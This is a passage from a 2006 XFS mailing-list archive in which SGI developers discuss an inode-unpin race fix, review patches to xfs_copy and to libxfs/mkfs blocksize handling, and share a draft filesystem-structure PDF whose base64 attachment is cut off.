a fix for a race of xfs_iunpin() > and generic_delete_inode(). Ahh, that problem, still. :/ > If __mark_inode_dirty() is running simultaneously between > clear_inode() and BUG_ON() in generic_delete_inode(), BUG_ON() is > called. We think this is a cause of this bug. *nod* > xfs_fs_clear_inode() calls xfs_reclaim(). We think the recent fixes to > xfs_iunpin() were not correct. With those patches, xfs_iunpin() now > can determine whether xfs_inode is recycled or not, but it is not > essential way to fix this bug. Agreed - it was always a pretty ugly way to fix the problem. > xfs_iunpin() must never touch xfs_inode > which is already freed. It must never touch the linux inode, not the xfs_inode.... > If try_to_free_page() collects some slabs > including pinned inode, it is possible to result in memory corruption. It's the linux inode that gets used after it's been freed, not the xfs_inode (which doesn't get freed until after it is unpinned and the async reclaim is run). > We come up with three possible solutions: > 1. xfs_fs_clear_inode() waits for i_pincount to become 0. > 2. xfs_fs_clear_inode() syncs in-core log if i_pincount is not 0. > 3. xfs_fs_clear_inode() invalidates in-core log that relates to the > deleted inode. > > We chose 2, because the frequency of sync is almost same to as that of > BUG(), and it is the same way to sync in-core log in xfs_fsync() when > inode is still pinned. It has very very little effect for xfs performance. Option 1 is the correct solution and we already have a function for doing that - xfs_iunpin_wait(). This also forces the log in the most optimal manner (i.e. only up to the LSN of the pinned log item) before waiting for the pin count to fall to zero so it does option 2 as well. > This patch fixes to sync in-core log if i_pincount is not 0 in > xfs_fs_clear_inode(). We think this is essential. The fix should go into xfs_reclaim rather than xfs_fs_clear_inode as this is where it is important to wait. I think this is a much better way of fixing the problem, but it needs a little tweaking. Also, it indicates that we can probably revert some of the previous changes made in attempting to fix this bug. I'll put together a new patch with this fix and as much of the other fixes removed as possible and run some tests on it here. It'l be a day or two before I have a tested patch ready.... Thanks for persisting with this, Takenori - this looks like it will be a good, robust solution to the problem. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 5 23:17:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 23:17:20 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k966H1aG020720 for ; Thu, 5 Oct 2006 23:17:03 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA02617; Fri, 6 Oct 2006 16:16:16 +1000 Date: Fri, 06 Oct 2006 16:18:10 +1000 From: Timothy Shimmin To: xfs-dev@sgi.com cc: xfs@oss.sgi.com Subject: review: xfs_copy fix Message-ID: <5635EC4CFB723E7E36B51235@timothy-shimmins-power-mac-g5.local> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9194 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Request for review. xfs_copy was seg faulting for me on my x86_64 box. This fixes up the variable arg handling for multiple vfprintf calls by putting va_start and va_end calls around them (never done this before:). Thanks, --Tim =========================================================================== Index: xfs-cmds/xfsprogs/copy/xfs_copy.c =================================================================== --- xfs-cmds.orig/xfsprogs/copy/xfs_copy.c 2006-10-06 13:55:01.000000000 +1000 +++ xfs-cmds/xfsprogs/copy/xfs_copy.c 2006-10-06 13:52:14.000000000 +1000 @@ -77,17 +77,23 @@ va_list ap; int eek = 0; - va_start(ap, fmt); - if (flags & LOG) + if (flags & LOG) { + va_start(ap, fmt); if (vfprintf(logerr, fmt, ap) <= 0) eek = 1; + va_end(ap); + } if (eek) flags |= ERR; /* failed, force stderr */ - if (flags & ERR) + if (flags & ERR) { + va_start(ap, fmt); vfprintf(stderr, fmt, ap); - else if (flags & OUT) + va_end(ap); + } else if (flags & OUT) { + va_start(ap, fmt); vfprintf(stdout, fmt, ap); - va_end(ap); + va_end(ap); + } if (flags & PRE) { do_message(flags & ~PRE, 0, ": %s\n", strerror(code)); From owner-xfs@oss.sgi.com Thu Oct 5 23:33:00 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 23:33:06 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k966WsaG023628 for ; Thu, 5 Oct 2006 23:32:58 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA03027; Fri, 6 Oct 2006 16:32:09 +1000 Date: Fri, 06 Oct 2006 16:34:03 +1000 From: Timothy Shimmin To: xfs-dev@sgi.com cc: xfs@oss.sgi.com Subject: review: set blocksize patch - libxfs & mkfs Message-ID: <778901771D2CDD34FDDE6CFA@timothy-shimmins-power-mac-g5.local> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9195 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Request for review of libxfs patch. Thanks. --Tim Subject: Re: LVM and XFS cannot set blocksize on block device Shailendra wrote: libxfs_device_open () seems to be working with the pre-conceived notion of assuming block devices of only 512 bytes in size. This eventually calls to set the blk sz to 512. Since, your volume does not support less than 4k, it returns EINVAL. I think, libxfs_init should be modified to pass on the -s size option to this call so that it does not happen. ... Index: xfsprogs/doc/CHANGES =================================================================== --- xfsprogs/doc/CHANGES.orig 2006-10-06 14:12:51.000000000 +1000 +++ xfsprogs/doc/CHANGES 2006-10-06 14:14:03.000000000 +1000 @@ -1,6 +1,11 @@ -xfsprogs-2.8.xx (??) +xfsprogs-2.8.14 (6 October 2006) - Fix up the ring command in xfs_db, thanks to Utako Kusaka + - Set the blocksize on the device to the given sector + size which is _not_ necessarily 512 bytes; + idea suggested by Shailendra Tripathi. + - Fix up xfs_copy and its variable argument handling + around vfprintf; xfs_copy was seg faulting on x86_64. xfsprogs-2.8.13 (21 September 2006) - Fix v2 directory checking with holes and unreadable blocks. Index: xfsprogs/libxfs/darwin.c =================================================================== --- xfsprogs/libxfs/darwin.c.orig 2006-10-06 14:12:27.000000000 +1000 +++ xfsprogs/libxfs/darwin.c 2006-10-06 14:14:03.000000000 +1000 @@ -51,8 +51,8 @@ return (writable == 0); } -void -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) +int +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) { } Index: xfsprogs/libxfs/freebsd.c =================================================================== --- xfsprogs/libxfs/freebsd.c.orig 2006-10-06 14:12:27.000000000 +1000 +++ xfsprogs/libxfs/freebsd.c 2006-10-06 14:14:03.000000000 +1000 @@ -91,8 +91,8 @@ return 0; } -void -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) +int +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) { return; } Index: xfsprogs/libxfs/init.c =================================================================== --- xfsprogs/libxfs/init.c.orig 2006-10-06 14:12:27.000000000 +1000 +++ xfsprogs/libxfs/init.c 2006-10-06 14:14:03.000000000 +1000 @@ -116,8 +116,16 @@ exit(1); } - if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) - platform_set_blocksize(fd, path, statb.st_rdev, 512); + if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) { + if (setblksize == 1) + /* use the default blocksize */ + (void)platform_set_blocksize(fd, path, statb.st_rdev, XFS_MIN_SECTORSIZE, 0); + else { + /* given an explicit blocksize to use */ + if (platform_set_blocksize(fd, path, statb.st_rdev, setblksize, 1)) + exit(1); + } + } /* * Get the device number from the stat buf - unless Index: xfsprogs/libxfs/irix.c =================================================================== --- xfsprogs/libxfs/irix.c.orig 2006-10-06 14:12:27.000000000 +1000 +++ xfsprogs/libxfs/irix.c 2006-10-06 14:14:03.000000000 +1000 @@ -36,8 +36,8 @@ return 1; } -void -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) +int +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) { return; } Index: xfsprogs/libxfs/linux.c =================================================================== --- xfsprogs/libxfs/linux.c.orig 2006-10-06 14:12:27.000000000 +1000 +++ xfsprogs/libxfs/linux.c 2006-10-06 14:14:03.000000000 +1000 @@ -102,16 +102,20 @@ return sts; } -void -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) +int +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, int fatal) { + int error = 0; + if (major(device) != RAMDISK_MAJOR) { - if (ioctl(fd, BLKBSZSET, &blocksize) < 0) { - fprintf(stderr, _("%s: warning - cannot set blocksize " + if ((error = ioctl(fd, BLKBSZSET, &blocksize)) < 0) { + fprintf(stderr, _("%s: %s - cannot set blocksize " "on block device %s: %s\n"), - progname, path, strerror(errno)); + progname, fatal ? "error": "warning", + path, strerror(errno)); } } + return error; } void Index: xfsprogs/mkfs/xfs_mkfs.c =================================================================== --- xfsprogs/mkfs/xfs_mkfs.c.orig 2006-10-06 14:12:27.000000000 +1000 +++ xfsprogs/mkfs/xfs_mkfs.c 2006-10-06 14:14:03.000000000 +1000 @@ -634,7 +634,6 @@ bzero(&fsx, sizeof(fsx)); bzero(&xi, sizeof(xi)); - xi.setblksize = 1; xi.isdirect = LIBXFS_DIRECT; xi.isreadonly = LIBXFS_EXCLUSIVELY; @@ -1506,6 +1505,11 @@ calc_stripe_factors(dsu, dsw, sectorsize, lsu, lsectorsize, &dsunit, &dswidth, &lsunit); + if (slflag || ssflag) + xi.setblksize = sectorsize; + else + xi.setblksize = 1; + /* * Initialize. This will open the log and rt devices as well. */ Index: xfsprogs/libxfs/init.h =================================================================== --- xfsprogs/libxfs/init.h.orig 2006-10-06 14:12:27.000000000 +1000 +++ xfsprogs/libxfs/init.h 2006-10-06 14:14:03.000000000 +1000 @@ -25,7 +25,7 @@ extern int platform_check_iswritable (char *path, char *block, struct stat64 *sptr, int fatal); extern void platform_findsizes (char *path, int fd, long long *sz, int *bsz); -extern void platform_set_blocksize (int fd, char *path, dev_t device, int bsz); +extern int platform_set_blocksize (int fd, char *path, dev_t device, int bsz, int fatal); extern void platform_flush_device (int fd, dev_t device); extern char *platform_findrawpath(char *path); extern char *platform_findrawpath (char *path); Index: xfsprogs/VERSION =================================================================== --- xfsprogs/VERSION.orig 2006-10-06 14:28:43.000000000 +1000 +++ xfsprogs/VERSION 2006-10-06 14:22:40.000000000 +1000 @@ -3,5 +3,5 @@ # PKG_MAJOR=2 PKG_MINOR=8 -PKG_REVISION=13 +PKG_REVISION=14 PKG_BUILD=1 From owner-xfs@oss.sgi.com Thu Oct 5 23:37:33 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 23:37:39 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k966bUaG024696 for ; Thu, 5 Oct 2006 23:37:32 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA03083; Fri, 6 Oct 2006 16:36:45 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k966ai7Y826212; Fri, 6 Oct 2006 16:36:45 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k966ahWX826479; Fri, 6 Oct 2006 16:36:43 +1000 (AEST) Date: Fri, 6 Oct 2006 16:36:43 +1000 From: David Chinner To: Timothy Shimmin Cc: xfs-dev@sgi.com, xfs@oss.sgi.com Subject: Re: review: xfs_copy fix Message-ID: <20061006063643.GD11034@melbourne.sgi.com> References: <5635EC4CFB723E7E36B51235@timothy-shimmins-power-mac-g5.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5635EC4CFB723E7E36B51235@timothy-shimmins-power-mac-g5.local> User-Agent: Mutt/1.4.2.1i X-archive-position: 9196 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Fri, Oct 06, 2006 at 04:18:10PM +1000, Timothy Shimmin wrote: > Request for review. > > xfs_copy was seg faulting for me on my x86_64 box. > This fixes up the variable arg handling for multiple > vfprintf calls by putting va_start and va_end calls > around them (never done this before:). I take it that it was crashing because the LOG flag and one of ERR or OUT was set so it was trying to do 2 varargs traversals with only one init? Looks sane to me. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 5 23:46:57 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 05 Oct 2006 23:47:03 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k966ksaG026229 for ; Thu, 5 Oct 2006 23:46:56 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA03337; Fri, 6 Oct 2006 16:46:10 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k966k97Y826755; Fri, 6 Oct 2006 16:46:09 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k966k8fl827136; Fri, 6 Oct 2006 16:46:08 +1000 (AEST) Date: Fri, 6 Oct 2006 16:46:08 +1000 From: David Chinner To: Timothy Shimmin Cc: xfs-dev@sgi.com, xfs@oss.sgi.com Subject: Re: review: set blocksize patch - libxfs & mkfs Message-ID: <20061006064608.GE11034@melbourne.sgi.com> References: <778901771D2CDD34FDDE6CFA@timothy-shimmins-power-mac-g5.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <778901771D2CDD34FDDE6CFA@timothy-shimmins-power-mac-g5.local> User-Agent: Mutt/1.4.2.1i X-archive-position: 9197 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Fri, Oct 06, 2006 at 04:34:03PM +1000, Timothy Shimmin wrote: > Request for review of libxfs patch. .... > Index: xfsprogs/libxfs/darwin.c > =================================================================== > --- xfsprogs/libxfs/darwin.c.orig 2006-10-06 14:12:27.000000000 +1000 > +++ xfsprogs/libxfs/darwin.c 2006-10-06 14:14:03.000000000 +1000 > @@ -51,8 +51,8 @@ > return (writable == 0); > } > > -void > -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) > +int > +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, > int fatal) > { > } Should "return fatal;" to fail specific setting of this until it is supported on this platform. > > Index: xfsprogs/libxfs/freebsd.c > =================================================================== > --- xfsprogs/libxfs/freebsd.c.orig 2006-10-06 14:12:27.000000000 +1000 > +++ xfsprogs/libxfs/freebsd.c 2006-10-06 14:14:03.000000000 +1000 > @@ -91,8 +91,8 @@ > return 0; > } > > -void > -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) > +int > +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, > int fatal) > { > return; > } Ditto... > Index: xfsprogs/libxfs/irix.c > =================================================================== > --- xfsprogs/libxfs/irix.c.orig 2006-10-06 14:12:27.000000000 +1000 > +++ xfsprogs/libxfs/irix.c 2006-10-06 14:14:03.000000000 +1000 > @@ -36,8 +36,8 @@ > return 1; > } > > -void > -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) > +int > +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, > int fatal) > { > return; > } and again. Otherwise looks ok. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Fri Oct 6 00:14:18 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 00:14:25 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k967EFaG031521 for ; Fri, 6 Oct 2006 00:14:17 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA03741; Fri, 6 Oct 2006 17:13:30 +1000 Date: Fri, 06 Oct 2006 17:15:24 +1000 From: Timothy Shimmin To: David Chinner cc: xfs-dev@sgi.com, xfs@oss.sgi.com Subject: Re: review: xfs_copy fix Message-ID: In-Reply-To: <20061006063643.GD11034@melbourne.sgi.com> References: <5635EC4CFB723E7E36B51235@timothy-shimmins-power-mac-g5.local> <20061006063643.GD11034@melbourne.sgi.com> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9198 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Hi Dave, --On 6 October 2006 4:36:43 PM +1000 David Chinner wrote: > On Fri, Oct 06, 2006 at 04:18:10PM +1000, Timothy Shimmin wrote: >> Request for review. >> >> xfs_copy was seg faulting for me on my x86_64 box. >> This fixes up the variable arg handling for multiple >> vfprintf calls by putting va_start and va_end calls >> around them (never done this before:). > > I take it that it was crashing because the LOG flag and one > of ERR or OUT was set so it was trying to do 2 varargs > traversals with only one init? Exactly. In the case I tried, it had LOG and OUT flags on, from memory. > > Looks sane to me. Ta. --Tim From owner-xfs@oss.sgi.com Fri Oct 6 00:32:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 00:32:12 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k967W2aG007234 for ; Fri, 6 Oct 2006 00:32:04 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA04196; Fri, 6 Oct 2006 17:31:16 +1000 Date: Fri, 06 Oct 2006 17:33:11 +1000 From: Timothy Shimmin To: David Chinner cc: xfs-dev@sgi.com, xfs@oss.sgi.com Subject: Re: review: set blocksize patch - libxfs & mkfs Message-ID: <9489DFAC1E1AEC644253529C@timothy-shimmins-power-mac-g5.local> In-Reply-To: <20061006064608.GE11034@melbourne.sgi.com> References: <778901771D2CDD34FDDE6CFA@timothy-shimmins-power-mac-g5.local> <20061006064608.GE11034@melbourne.sgi.com> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9199 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Hi Dave, --On 6 October 2006 4:46:08 PM +1000 David Chinner wrote: > On Fri, Oct 06, 2006 at 04:34:03PM +1000, Timothy Shimmin wrote: >> Request for review of libxfs patch. > .... >> Index: xfsprogs/libxfs/darwin.c >> =================================================================== >> --- xfsprogs/libxfs/darwin.c.orig 2006-10-06 14:12:27.000000000 +1000 >> +++ xfsprogs/libxfs/darwin.c 2006-10-06 14:14:03.000000000 +1000 >> @@ -51,8 +51,8 @@ >> return (writable == 0); >> } >> >> -void >> -platform_set_blocksize(int fd, char *path, dev_t device, int blocksize) >> +int >> +platform_set_blocksize(int fd, char *path, dev_t device, int blocksize, >> int fatal) >> { >> } > > Should "return fatal;" to fail specific setting of this until it is > supported on this platform. Oops. Yep. (Also want a return statement for an int returning function, d'oh:) And likewise for the others, yep - done. Thanks muchly. --Tim From owner-xfs@oss.sgi.com Wed Oct 4 23:33:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 00:57:26 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k956X5aG015881 for ; Wed, 4 Oct 2006 23:33:07 -0700 Received: from pcbnaujok (pc-bnaujok.melbourne.sgi.com [134.14.55.58]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA03593 for ; Thu, 5 Oct 2006 16:32:06 +1000 Message-Id: <200610050632.QAA03593@larry.melbourne.sgi.com> From: "Barry Naujok" To: Subject: XFS filesystem structure document Date: Thu, 5 Oct 2006 16:38:30 +1000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_01DB_01C6E89C.B1727B90" X-Mailer: Microsoft Office Outlook, Build 11.0.6353 Thread-Index: AcboSN8J3HAYFzrmT5GNLNFYv1FF9Q== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 X-archive-position: 9200 X-Approved-By: dgc@sgi.com X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: bnaujok@melbourne.sgi.com Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. ------=_NextPart_000_01DB_01C6E89C.B1727B90 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi, I have attached a PDF document describing the on-disk layout of the XFS filesystem for review. It's a first draft and some sections are still incomplete. When it is in a suitable state, it will be published on the oss.sgi.com website. Regards, Barry. ------=_NextPart_000_01DB_01C6E89C.B1727B90 Content-Type: application/pdf; name="XFS Filesystem Structure.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="XFS Filesystem Structure.pdf" JVBERi0xLjQNJeLjz9MNCjQyMDggMCBvYmogPDwvTGluZWFyaXplZCAxL0wgNTA5NDQxL08gNDIx MS9FIDE2NTU5L04gODAvVCA0MjUyMzIvSCBbIDYxMiAxODQxXT4+DWVuZG9iag0gICAgICAgICAg DQp4cmVmDQo0MjA4IDE1DQowMDAwMDAwMDE2IDAwMDAwIG4NCjAwMDAwMDI3MDIgMDAwMDAgbg0K MDAwMDAwMzAxNCAwMDAwMCBuDQowMDAwMDAzMTcyIDAwMDAwIG4NCjAwMDAwMDM0MjggMDAwMDAg bg0KMDAwMDAwMzk2NyAwMDAwMCBuDQowMDAwMDA0MDA1IDAwMDAwIG4NCjAwMDAwMDQyNTEgMDAw MDAgbg0KMDAwMDAwNDMyOSAwMDAwMCBuDQowMDAwMDA1MTA3IDAwMDAwIG4NCjAwMDAwMDU3MDIg MDAwMDAgbg0KMDAwMDAwNTkyNSAwMDAwMCBuDQowMDAwMDA4NTk2IDAwMDAwIG4NCjAwMDAwMDI0 NTMgMDAwMDAgbg0KMDAwMDAwMDYxMiAwMDAwMCBuDQp0cmFpbGVyDQo8PC9TaXplIDQyMjMvUHJl diA0MjUyMTkvWFJlZlN0bSAyNDUzL1Jvb3QgNDIwOSAwIFIvSW5mbyA1OTUgMCBSL0lEWzw2REE5 QTk4NTI0NUZENEY0MkZBRjlFRkRGQUI4MzdFNT48NEE4RUUwRDQ1MjY5NEI0NUFGQjMzMTVEMUE1 RjkxNUI+XT4+DQpzdGFydHhyZWYNCjANCiUlRU9GDQogICAgICAgIA0KNDIyMiAwIG9iajw8L0xl bmd0aCAxNzM0L0MgMzAwMi9GaWx0ZXIvRmxhdGVEZWNvZGUvSSAzMjIyL0wgMjk4Ni9PIDI5NzAv UyAyNTQxPj5zdHJlYW0NCnjazFZ5dExXGP/evJl5b8ZkliQYDMZESC3pMJbEEk8MYm0sIVSJIGIp IkFs9WIdZCYzWmsijbW0tHaK6iAi9n2tZUSo4/Scpuc49V9P773vzpKg7Z+dw7vf/Zbf9/t+976c BwAyAPlaUACwQ0EHwZ8OOOBBDnxSIogMCAAM9EgDMwj6pTguN2OfGVki8AIp0aMUmR5gXIvm+TJH hHCV3cvu4PdHipbrfau63eArEjQKzSldTlSrxD0JyQDc8tiV9fWZ1pLGrxb+sdc+oiwzP063z3p8 ytOGgtKSo0jkm2k0lshhyV7xWPe3ijD1a82jyMstHR0Gba981GP08mJ+cNT2Vr4mvj/TY0vTw6J0 yoh9sWnFWx4yv59N97wJ89XJ7LXrcZvmz24J9WByxCtxm7083CRsONOzPNyYeppJdLpMQlZUdLnb aPc06XnZY+q/27CklttoTasYr9SYh6adkSvrGq1jZawy0mj1rGGXqQP6fMxGyGUdYkER3cLYclbr nuaYVoPaaW3hWYbuGmvtzyKH1Wo/4aMpYXUb1EkX7BndEpJzsnNnNzR9Mn7czDkzJk+az3Ntu7Zp Oj1q2sDmcXM7NuuS2nmkZUSTHgMS+/frO6TR4LEpaUNH6T/Vjak/unGnevHzeqt6qT/vM3V4ZtJE FmYtlMsUxuiWLXhOpV7AymUwS4FNZPEcsletFPOWLllsjFapF32xbPlqxwp/xFng8uS7Veqv1nzp d7mc7nycifbGaOJZu87lVKnXb0Ael5N4qsc34fDG4N7l9BQEIV1O5ApycTkLi2o2cDmLCt351Yvc +ShQvJmkFRWStBLsVam/rgFLo1u3uJzGaJywbXsQeueub4oKpbodu78NYG8ulqphFlKOSBW0KNEf vnfnu5ybiz0Fe/cQYvu+C85A+WODeALTEFoHVOr9JErOgebS2CHcXKU+GPQcPXK4qJAOf+z4j8HA SU9BUSGuRoETwd6hOtHzwojvF7umqGTwUz/RlJ9OSTP6xVBgJ415CtD+5zMu5569BMJ7Oug+d9bf FQXKSik6Cfnb0eFxsZ9NeYDOeeTCnXmO9K5O8n0wVO2g1sS6cOliAPLK5auhNyegCFGBlodC1XhF pDGDE17DRQj2+ntBgzKHciLeG9LMN/3At+96CijWnVs1GBEO1P7AWYbsg3UhMU8BvSDvHP+HbGTd v4eBHj74b21C7Ue/bC7G79KTx+/oUEPQpxX4YqnUvmd+T+VzfFiBa/PiJSkjwuI3p/orVO06BiwA m0OEf/4xRseHfyIwBps9A4OwcX4kgxRBpYbwGIeDuFJSHFLQJjnQShZZjLRabFIJ8FJhRLsksmXC o9ol0RIAaWXCaRF1G2wp/gxZ9WxEDj/sksdgsFhS/NQiKF2espa8tVOlrc3u18VApqF9o1NpdSTt giBDqKBNQE4+xAg0w8wdoaxpOk/RMsjCGIwBHEWqP592Nooh6CHkqKCGkKclFJScI2URiiE9DRlS TBYVRwEJBJ0O6UYVlFabf4dO3vEOlvRE7UQ6jEjOOZQ3njC4l0tHLUPq0pJwS0Ang8EROHtykOjx //wAQhyvgLzsL7TWQv9/JaybQRjr7bDkNUAmlIxa3Fpxcc3C15w5nvFqBR3kmgQfp49nysN80xVV rLeRsiour1QGetYtR99+Pk5Zwvh0rNskvtFcR2laIYt1oDTOjNK0gh5E1mtm0HdkF60ZRUxCI0AA XlQDuSgNqngQZJDF5ppEtOHELlqQIqiGwX1AlEMFp8doZkKnkgOUhpuimicoIprCfLSpnme8Eh0B 1cRjaFJTAVUHV3iN4hhlckLeYtWAU0wpGQ5B1/VmsHYrqnGYoJLB0FrzTIIGVemK+2geTKcSquLz 0HDZdJ54NjUSbXCEs3J55agPaup9yZk5ETWdCaKJpImCNi2bSMVZCZ1sPA9Ki8cj/Nvftd2gSFqJ jLkAMW/R9esNytETgHyxQwJaLKDIwvcxGuC3F2gtA77yxfOXT30Vzx49+eXx/Yf3Hty+c/fWjZvX rl+4cunyxavl58+VnS392Xvm9MkTR48dOX74x0MHD+z/Yd/33+3csWv3N99u3bZle8nXmzauXb9u w6pFK78Ql+UtX7p6iWPxitap5uGt2rZrY5ueNa17c2uzj0cOG9G+x0eJMf20fQ1Dag+OTJkwdJBe o6tVP7xexLzP5k7pE5ZUt2uDpnWiFi5IHyjE9exo75LRuZsloUnygJz+2Y1nN2o41pT2yajxn44b M3N0bqc58TN6T+416fP5Uztkxk5Esw0BZc4RLAL6Z/pbgAEAdR0kTQ0KZW5kc3RyZWFtDWVuZG9i ag00MjIxIDAgb2JqPDwvTGVuZ3RoIDk1L0ZpbHRlci9GbGF0ZURlY29kZS9XWzEgMiAxXS9JbmRl eFs1OTYgMzYxMl0vRGVjb2RlUGFybXM8PC9Db2x1bW5zIDQvUHJlZGljdG9yIDEyPj4vU2l6ZSA0 MjA4L1R5cGUvWFJlZj4+c3RyZWFtDQp42uzRMQEAMAzDsDRQxntc945D9QiA3fakSQaLmKuB5/Ac nsNzeA7P4Tk8h+fwHJ7Dc3gOz+E5PPccnsNzeA7P4Tk8h+fwHJ7Dc3gOz+E5PIfnnsNzeP7xBBgA sW9Ajg0KZW5kc3RyZWFtDWVuZG9iag00MjA5IDAgb2JqPDwvTWFya0luZm88PC9MZXR0ZXJzcGFj 